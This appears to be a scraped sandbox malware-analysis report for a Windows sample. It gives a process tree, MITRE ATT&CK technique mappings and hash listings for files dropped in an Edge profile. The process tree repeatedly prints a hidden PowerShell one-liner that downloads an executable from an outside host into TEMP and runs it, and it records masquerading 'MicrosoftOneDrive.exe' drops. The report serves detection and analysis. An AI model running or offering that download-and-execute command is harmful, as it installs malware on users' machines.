  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK360584.exe; Start-Process -FilePath $env:TEMP\BK360584.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5288
- - C:\Windows\System32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK360584.exe; Start-Process -FilePath $env:TEMP\BK360584.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK360584.exe; Start-Process -FilePath $env:TEMP\BK360584.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2252
    - - C:\Windows\TEMP\BK360584.exe
        
        "C:\Windows\TEMP\BK360584.exe"
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:3552
      - C:\Windows\System32\svchost.exe
        
        "C:\Windows\System32\svchost.exe"
        6⤵
        
        PID:6328
- C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe"
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe"
  2⤵
  - Executes dropped EXE
  PID:1164
- C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftOneDrive.exe"
  2⤵
  - Executes dropped EXE
  PID:3596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK685075.exe; Start-Process -FilePath $env:TEMP\BK685075.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:364
- - C:\Windows\System32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK685075.exe; Start-Process -FilePath $env:TEMP\BK685075.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5132
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK685075.exe; Start-Process -FilePath $env:TEMP\BK685075.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1500

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5980

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:672

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 cc6205dfc0ad92d30fb9ee805c729d53c836cff0462f2e045a52fbf9353b96ba
MD5 f562913e5926d98801f903f9ab792282
SHA1 8891dadd21fb366e56ca3e18b52a40681e1c6bd5
SHA512 4b1aaca6f81fabe0474d092b453cb6d7540505c123db6a819cbbd5d6f8b61b43326519262ad010d1ef93e3bc712b9067ba041231fbb887f2053b2fb964c01056
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7w:fwUQC5VwBIiElEd2K57P7w
TLSH
T12AB3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 1206c79319d54e09f451ea00db98a169787c1fca6dbd569d1b421046db4d6eba
MD5 09cbcb4f605d136ff43939ab326e9e0d
SHA1 e9a13dea215d43f6731738b4086aa0ef1d69a3cc
SHA512 80d150d2fc5afa76845f4298cdcb45ccd9aa1eb887a19d4926473c7afac38d700d27fafb3d86831d4b752840176e4fa761e45f3ffeb396d63aa0fcba412af76e
TLSH
T112D023F4B604A760C12A403D5551F30257F24534307FCA63D0709C0D6858158D3FF56D
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c36ac766a384a109222b8b647d2f5c1c2e6c4672a4a2c6b8a01f6eac0a5df074
MD5 f9f896b0e6f281d55b1ca3fa3c1ccdcd
SHA1 db44df3874cd86a961c82d25f3ae2004f249b2df
SHA512 6b8c8d305c2d7e4a3b5efb6e1967d7db1b1ffdb7979edd315013037da369c923060dae4ef8a7219176aa7e0bc1fa4cb98e48470ea2f569243a95d3301f5a40bd
TLSH
T160D09BD575046A14C5A1303A21D1935392604835741945874051E55D5C5479743FB5BD
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 64e1a01015c69eda3cc7664c301fa639980ee588d96de56354f90250f25c23c1
MD5 94a008bc8e25ff38f4cbd3e29ca39916
SHA1 c2a358b44cd118f71d0a4ed037edff780c9824f1
SHA512 e94508197b75561f70d1cb3f18eab6e1cc3aded4924fee30d2f14d69fe5cd672eea9a38b4c25e93cad4961356b1ef92c3f50b6d92df0fae70bf930e545bb3eeb
TLSH
T1BBD0A7E4782577A0D139103D4150520152794572356B468790649C0D9974185A2FBAA9
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b53c58762bff2a5723ae446675e8f65fd50818b95383c8f3c7efef01af06e466
MD5 629a18fe1b7a241215c77a30d7d8d7ee
SHA1 5e7bd5b514f4e46a4b986c8b89d0025cf81a1f36
SHA512 04fd58619789dc107f680a57dba3aec42e4bab7c29c0defd7e1b8ca2d078ca4c91317932ff076171bae60d370b28de32c94039c6ab690d5004ddcb857977f38a
TLSH
T182D09BD575146914C5A1303E21D2935392504835601945874051E56D5C5479743FB5AD
MD5 SHA1 SHA512 TLSH

Submit Download

005f1032-e7c6-45c4-af91-93565e30d8ad.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\005f1032-e7c6-45c4-af91-93565e30d8ad.tmp
Size 414B
SHA256 f40a2a9a2645c1eb2e689e4baa6112694015fd88191385681ad94cda2150be0e
MD5 14386c5501a831c80464975837347a1a
SHA1 1735fc64ef4f429f6e213a877a3283116917ef3a
SHA512 a5b0106aa6af649678b3e1ed07ff821c4a8e36ba63ca4b8d534bd3fec93a2f9f1985fff08445ec69b201d6f4172d39ecd9f25c5a4f66c8f75c26ba726addb375
TLSH
T175E02BA5CC65BC771CFD0BAC50801745F74113AA2F81891B3A3C850D4FB263A4646C2C
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 7KB
SHA256 559f98cf74a16c58ca03da90dbc190afaf3aaecf6788eb2195d78e20f573950c
MD5 ee7262d48be67ccaddbb0a4bf6d52c6f
SHA1 fa0b5d5ded7ed2faaf4304f4ae0a779a147e8201
SHA512 bdd24062ce9c21560e7104c9eb645ade16a88963b0e59eca613d3e1824f438530c6a2c15f3042d259b5773a5ed165cde839a67b7897ced0634006effe6c1df10
SSDEEP 96:8Qez2nFSj3/tVbu41fCEZYpwNSzP2ReX2w6mUgAGXgwvh7jZLGwpHtiT:8Qez2FCFdn6EZDNytLMNcj3UT
TLSH
T10FF19663E61E35E5DBD07D7628D5C4D3FB3226AB8647DD8783792E70208136E822C299
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe59c51b.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59c51b.TMP
Size 3KB
SHA256 9bb569ca66060d656602794c7a39bf14d20e1d8be4c3e0ec45813fda44d573f1
MD5 490d012552e53c4830d02c6bb254a0fc
SHA1 e0e3f25b3f6b8a6960cc05321105c51b399b3adc
SHA512 d905dacd6f610dc776b5444fe54fc659eeb749721034d37efe1c940b55b8559b4b4497051f0bc6b92c1efb054db59134ff14395a71170a951f0fe7099f78fb73
TLSH
T1A2618685C72F05E1C7D8B8B17CE9D8D6B73398CA4947EED241BD6E74585274A24302EC
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dasherSettingSchema.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.108.1_0\dasherSettingSchema.json
Size 854B
SHA256 6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6
MD5 4ec1df2da46182103d2ffc3b92d20ca5
SHA1 fb9d1ba3710cf31a87165317c6edc110e98994ce
SHA512 939d81e6a82b10ff73a35c931052d8d53d42d915e526665079eeb4820df4d70f1c6aebab70b59519a0014a48514833fefd687d5a3ed1b06482223a168292105d
TLSH
T1B1014C25C354799B04C7627ABCA95001E630818B027665707DDE4D7C6F2E8A700BF37E
MD5 SHA1 SHA512 TLSH

Submit Download

computed_hashes.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json
Size 429B
SHA256 b829b0df7e3f2391bfba70090eb4ce2ba6a978ccd665eebf1073849bdd4b8fb9
MD5 5d1d9020ccefd76ca661902e0c229087
SHA1 dcf2aa4a1c626ec7ffd9abd284d29b269d78fcb6
SHA512 5f6e72720e64a7ac19f191f0179992745d5136d41dcdc13c5c3c2e35a71eb227570bd47c7b376658ef670b75929abeebd8ef470d1e24b595a11d320ec1479e3c
TLSH
T10AE055170A1A50B79BB8DB90EE525CA2E8A0A6B1C50438D63E608234B68A11F738347D
MD5 SHA1 SHA512 TLSH

Submit Download

verified_contents.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\verified_contents.json
Size 1KB
SHA256 d23b2ba94ba22bbb681e6362ae5870acd8a3280fa9e7241b86a9e12982968947
MD5 738e757b92939b24cdbbd0efc2601315
SHA1 77058cbafa625aafbea867052136c11ad3332143
SHA512 dca3e12dd5a9f1802db6d11b009fce2b787e79b9f730094367c9f26d1d87af1ea072ff5b10888648fb1231dd83475cf45594bb0c9915b655ee363a3127a5ffc2
TLSH
T12B317466C8683D56267A63348E2D0602EB57C2BB0050640EB5AC558D4F7115FE242FAF
MD5 SHA1 SHA512 TLSH

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\content.js
Size 9KB
SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
MD5 3d20584f7f6c8eac79e17cca4207fb79
SHA1 3c16dcc27ae52431c8cdd92fbaab0341524d3092
SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Favicons

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons
Size 20KB
SHA256 a53cc838ea05d32fc48bce54ccaf721242511601a181bdaf6c884434174a8740
MD5 497cd89d04bfd97fea82577af30aeb06
SHA1 dca90ee54a7b0b5ab3d85407d34672458354d2c3
SHA512 f2c72d450e120e4f74361deedede611a6aa33bbf9d89d7777d68a0d2eb2d5ea97cb22c3fa4ae5d67a0ca1ec8cad7220e04584423b0f03db3f1cb472232a1d2ae
SSDEEP 48:uzBmw6QU1Pzs/dwJOrZjrte3FJu4yeRvXKhGg12AxyUPj:6BCxUdwAr5M3FJu4yYvXKhz1Xx3
TLSH
T15492B54B4E383853EB452A7A272B4879C93BF1ACFF95CC85302550691DF8152A0368EE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Size 224KB
SHA256 c837fa8d9f16c606d5df0649d9b10ff7efe607f42c99d937ea04d5e2a5ef9692
MD5 14fee8ccee7ed4b8467e71415cdf292e
SHA1 ad5641d40096b709894cca2cad8b94234b07a2a3
SHA512 1a03ea3d28727d08c3b9f5f6340413ba3d7d5b7f1b27344afbdddea73798dbb1bf6f647d838ac8ec3be0bacec69b45bb0c3b25dc0e79db57b5a56ad5b7bd8c38
SSDEEP 96:5uM/5QSHtejzH+bF+UIYysX0fxQp97oEHt/DfLjLqL/GIPbbEOVpZf24JkMfXSFs:UUSH+bF+UI3iWGVoWN3qL/7VVV63
TLSH
T1EC24000F5F643712CDBD813669E744A35C7DF03F8B5366DA686114B4CEE2652A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 f903125d344bead6efbd66fb64ee602a3f3256560a5223ca38a7b8d4413eb68d
MD5 f84fe13a1f565c95e585859c9ff52a91
SHA1 59e9559b01c6771bd2efd63c69df85d13d9761ba
SHA512 df256a529633934f6053b4b248f779aef581901fb8040d6011370aa126cc55512e06787d111eecb6646fad86a6da9b154ab78e4d23f06daf76e03b68e9bca06d
TLSH
T15351AEF7C3E8866DCA0196F4AB186E1BCE2D0954432C3D2AC5D5AE1B97E3571F14098F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 19cbf900d3ef6cfb8834bce48f10942b13ba245e75b08c2a601cf4bbd6a2117a
MD5 fb98694fea4af45f7e83c4a36fef8bae
SHA1 c09f9a8fb72fe1e7bc3ccf4d82077d62bcd7020c
SHA512 c0318c1bdbe6f0563874b75047d311d3be0179b8476b1fd30d6d2029249fee1e43dadecf5e87eb63a037f0753e2a568b2b6a3756c3f55674778d96f67b8fd7f8
SSDEEP 192:sxRLRMyM/jK1Ml8wCj/fwsegMIsmZxzoA8plz/g6+WNpRh/YxvJlGDIgVsJ:sxRLK8j/fwsxTS1/59/uEO
TLSH
T14E62EA45AA289977CCDBD20DFA517F53D6F81573A1901E44AAFCDA0C00E7AED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 0aea099a1fba5168ba5ba8a934abc4d3586a2c01ff8788163f6996768bc5d637
MD5 a5d4f052422fb024e52867732e4de18a
SHA1 824019931ca6ca4aeb781c1973cffd72d03f7df4
SHA512 312e7b0985d4bc7cd142fef26f49c1cd02de4c9ffa383279c7d67576a7e8d5e0675d9eee8e18ff7c6c46b81207168e24ecc46641d8a0bebf24ac44ec0d3d244b
SSDEEP 192:sxRIRMyM/jK1Ml8QCj/fwsdWWpV0MIRZQWzoA8plz/g6+WNC4Rh/eBz1LJUgDIgq:sxRIKyj/fwscWv0T/QL1/5X/e9Rq
TLSH
T19A72E905AA34597BCCDBD21CFA567F63D6F8547691901E44AAFC9E1C00E76ED220382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 5a67f5a99c7e7cb407934cbda562b300f1417a56c4938271d191799d75756437
MD5 f16dbd182b4363d1e917646bbf3bd7ca
SHA1 e625ecf67abc4f482cc29c5d1560e51da128b026
SHA512 4781b44dc0ddf1e345dcc13af7cfe7e4d144cac11849f56c4358e0aa2dfc25c92ce5544b7960f3c57830b8cb3cb809753ee5a48f0eccdc5f6a314d721643b8b5
SSDEEP 768:0xCy4K7pLuLfUjWgbrfK18F1+UoAYDCx9Tuqh0VfUC9xbog/OV/EHrVAaroJWyma:0xCy4iEfUjWgbrfK1u1ja4EHpARJWyUc
TLSH
T1E1E2FC7B680CCB7E4F404A9DEC297E9B6DE802CF96D8895447EA480C03C67EB51165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 63b927499d3c0491643a360c90a15e0568d06494a791aaf8caecad7ee7361eab
MD5 c1e31595d93ee0a07c73acb07332f314
SHA1 0052ad1bc4c7911472c74fabcfc1c6093824538d
SHA512 a117137f4789ed3e31d9a4b37827c8398e6ceb0190874ce3b117fb72a75da19f5c4213c2698d7f2f05397ce17ededaa48ea12db15694051597c2b35d658854e0
SSDEEP 768:0xCycs7pLuL7ijWgbrfK18F1+UoAYDCx9Tuqh0VfUC9xbog/OVHrVAaroJKp1:0xCycQE7ijWgbrfK1u1jakpARJY1
TLSH
T12AE2ED7B680CCB7F4F404A9DEC297E9B6DD802CB96D88D5447EA880C03C67EB51165DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 226B
SHA256 e14a01651abec0801308c056e3b125852ec3336bd7b22a84527ab5abdf2949b6
MD5 2181fd319eb0610720fb35729ddd7a4d
SHA1 4f81376ab3d16c8ca6585aee7240764bb66f1ee0
SHA512 f6d2546176bdcd8222565067d4f06efda5b07b4f44f27d9e4b5d72f528bf8ea72f8f9e0cd42e16d1bd98781024d1b74fbc94666fec6baf01d4f276b9b692dfa5
TLSH
T159D0239BF4740864F9EFCFC75A31085E46103CCC28B999CDA1210A245896F67B312FB7
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 233B
SHA256 772cc861b279294fda15ea9ceb7130c1731d619be655d8c3783efa48e5fc6296
MD5 cc967d222222c27d9a75258889bd822e
SHA1 c2190376a39e0180e2405aa9bb982e9ae92d4968
SHA512 7ae195d298cc9370e3619793cedc3be87351ef171160f37b7c83d12862163863243051c294b0baea79a36400572b573462a993a5fe480aca4e6378321dd5582b
TLSH
T170D0A557F4750450DA5B8F875531045A45503C88186555CD911125281475F57A311E66
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe59af03.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt~RFe59af03.TMP
Size 138B
SHA256 3286af2d8b5facca7488b0b0c535e2d8d8d34d4059bee2d83ab0743362e69681
MD5 305ba05e9a77a4733403433d4b62fa59
SHA1 4e5fb1aa8547619c2f689dc3b4479604964b5c8c
SHA512 cde98056b4906516c690cb7449586b2c9a65df4a904df1146ba306e0e222e3a846daf205e0c84d860701051b0a8982df74ed0ef909e4e2d0961ac91e26c5aa2b
TLSH
T1E9C02BE3E8440820CB5947C10232019D87003CCC5889DD4DA25331242035F2B7305ED1
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Size 335B
SHA256 258016783ab6e951a4ee2e16f0e043e0d43dfacc02c0716998ba3bc1f27ea1fa
MD5 87cb7231c1f3b43804c69db10e51b43a
SHA1 7b4678cd461c67884140b9c180396bbe765a279a
SHA512 911cd0872590a89d35cedbef9045a005d971020fe1f11c0891864da4d92e116af9fae75801b1c12d96fab1897d86024b0e9ac7619f5036ba4b3e640d65b84244
TLSH
T1A1E020101AD4D17D6067288751749308C2D5791BFEC8FE051F04C840B64391A72F2652
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log
Size 112B
SHA256 2985ffa7135c72916b63e3e79026707f05cf893044dc6f685a3860b2eaa16ccc
MD5 1efa776c9df109ca9d8f1ccedd5a3a67
SHA1 56c1e3fafb489363af0c252c9c9e3fe72b83f3df
SHA512 89e573133f42cfb0791cbbba22750b68cc64d27cea29a87c2854babf7be7aa8bd7771110d678e99891b5b1cac4f6d7c0fe84531cf8b262eff5a17970324b3f3d
TLSH
T132B012A877118616D4C8453313F4CBC05B04E01120C19903C80CCFD34F056AD3E458E0
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Size 350B
SHA256 bd0b2cab0f576b9a069b811967fb4b9552906baf6b8c259a4862206c836728d4
MD5 7ce9ffdfe581ca4a5ce03f7b5fda48f0
SHA1 91488915658b1c1774138213133fd25aedc83737
SHA512 ba8989ea41931e2d3f333e276c16df17730f055045e6522ea74d6d8e3d885dd7a5fba6f68fe57e2d26b0779b2c2b5db8c92327a5ad354d3556bd27b878752db2
TLSH
T187E0D8601AD9C62F614724C7B265F30C81E37816FAC8EA153B08D480B307599F3D3550
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log
Size 175B
SHA256 80d1388b9a7150eb0291175fe693dd7b6bce910c3e4fff51e94841d31d771dbe
MD5 cb63c64828a27af7253afb7c7d986654
SHA1 8a54aeb86f79cc69e6f11278d874cebd328ae466
SHA512 e0dbdd6931c9272e0b52bb2ef7895121f6324379f584899343342a057737a9837cc476842ea781a1de5c17a20c06e0a7d24c0ed6ea41fdd95bb99296e8810f9a
TLSH
T135C09BD55F903023FDCA5D3D0DAB53041720C4752F74CF57D28430901C0A285FF61145
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Size 323B
SHA256 41d475f2b0cb071a124f623ddf1a4aaa0e178d9f1c82f0598498e2cb75e4eabc
MD5 35ca821ce2fa3f8b725958e9d8b0f879
SHA1 83489b39d24e231ebcf0eb395a77d437bad39931
SHA512 dad605add70e3a79fc0862a01e388c84b1f136247096048128ca36d4be96ac2710ee233d785c1dc4887cd0d89c70b53f0e2f3c9df9cb2d9b9e90a05e482bc5b2
TLSH
T1A2E0807089DDD63D5915658393A8A70C82F2785ABBC4FF4567088850F202966F3F6DD0
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 c7ff293267d7694aac84d065f4f44a727d8c295c2c959811c21ae827feb4884d
MD5 12367070d124369610473621571eecc8
SHA1 c880f33671c730a2a03064e3b8580de4219ef0b5
SHA512 1fe565065561eb934fd17324cf1f2378fc995c8ec9cb56e29fc88c538bd36c50494bc58a2810bab805e63053c360450a95b786c0784168d644190fc7a373a7fb
SSDEEP 48:KQzIJKQIcryoZKZjZGZaZwZkZoZkYZkZBZPIBZSZkKOZBmZIZkiZ6Z0TZhZwZvU7:KQzSKQICGDyKUU7UgK5eip
TLSH
T16D91F247B07E029528BF690C8064E517DAC270673259A42FBBE804764F77E225EFD8DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Size 322B
SHA256 3617b70001d7ba9c01939eb360e1644b6003712024b17bec813b9564734a6ef5
MD5 48accda42702a30124e936d69ecacdff
SHA1 dc5c2236fd1f59c5435b322d461a6a46bf99e8bb
